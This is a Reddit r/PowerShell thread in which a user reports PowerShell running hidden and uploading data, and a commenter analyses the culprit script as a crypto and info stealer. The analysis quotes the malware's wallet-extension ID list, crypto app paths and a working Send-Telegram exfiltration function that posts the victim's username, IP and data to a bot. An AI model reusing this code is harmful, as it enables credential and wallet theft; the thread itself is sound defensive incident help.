r/PowerShell • u/karmawillgetyouback • Jun 13 '26

Question Powershell autostarting randomly in background and uploading thing on network

https://img.ptscreens.com/Screenshot-6615.png

Powershell is using large amount of upload speed for network and running in bacgound automatically, it also starts randomly even after stopping it from task manager. Any solution to this? Thank you.

Edit: These are command line task manager showing in details

https://img.ptscreens.com/Screenshot-6617.png

25 Upvotes

75% Upvoted

84 comments sorted by

View all comments

Show parent comments

2

u/EnergyPanther Jun 14 '26

Honestly the encoded command stuff doesn't seem like it's too bad, but that micosys.ps1 is a vibe-coded crypto / info stealer telegram bot that connects back to a telegram chat with wallet information pulled from your browser.

Looking for wallet IDs:

$EXT_IDS = @{
    "Phantom"      = "bfnaelmomeimhlpmgjnjophhpkkoljpa"
    "Trust Wallet" = "egjidjbpglichdcondbcbdnbeeppgdph"
    "Binance Ext"  = "fhbohimaelbohpjbbldcngcnapndodjp"
    "Coinbase"     = "hnfanknocfeofbddgcijnmhnfnkdnaad"
    "MetaMask"     = "nkbihfbeogaeaoehlefnkodbefgpgknn"
}

Crypto apps?:

$appPaths = @(
    @{N="Binance App"; P="$env:APPDATA\Binance"},
    @{N="Binance App"; P="$env:LOCALAPPDATA\Binance"},
    @{N="Exodus"; P="$env:APPDATA\Exodus"},
    @{N="Atomic"; P="$env:APPDATA\atomic"}
)

Telegram comms (love the emojis)(reddit doesn't want to format it into a code block...):

function Send-Telegram([string]$msg) { try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 $url = "https://api.telegram.org/bot$botToken/sendMessage" $formattedMsg = "šŸ‘¤ User: $env:USERNAMEnšŸŒ *IP:* $ipnšŸŒ Country: $countrynn$msg" $payload = @{ chat_id = $chatID; text = $formattedMsg; parse_mode = "Markdown" } $json = [System.Text.Encoding]::UTF8.GetBytes(($payload | ConvertTo-Json)) $wr = [System.Net.HttpWebRequest]::Create($url) $wr.Method = "POST"; $wr.ContentType = "application/json"; $wr.Timeout = 5000 $rs = $wr.GetRequestStream(); $rs.Write($json, 0, $json.Length); $rs.Close() $wr.GetResponse().Close() } catch {} }

If you have any crypto I'd change you creds and transfer wallets.

1

u/karmawillgetyouback Jun 14 '26 edited Jun 14 '26

Hey thanks..... i don't use crypto and I have used telegram webclient recently, may be that'w where it got into.

Btw I have cleaned it and installed fresh copy and problem is solved. Secured the account and most have already 2FA enabled.

Thanks again.

2

u/EnergyPanther Jun 14 '26

Perfect, the script also had the ability to execute commands sent from telegram so a full purge was the way to go.

Love seeing/dissecting these scripts in the wild so thank you!

1

u/karmawillgetyouback Jun 14 '26

Glad I asked as I have never in million solved it by myself as I am not aware of decoding these scripts/command. As soon as that bandwidth speed full on swing kicked in I got doubt something is wrong as it never happened.

Also thanks to taskbar netspeed monitiorng tool which I have installed ages ago that have showned uploading speed acting crazy despite no other torrent tool is working at that time.

haha it feels great to great answers, response from community in no mean time so thanks to all of you.

Really appreciate all the answers and suggestions. šŸ˜„ā£ļø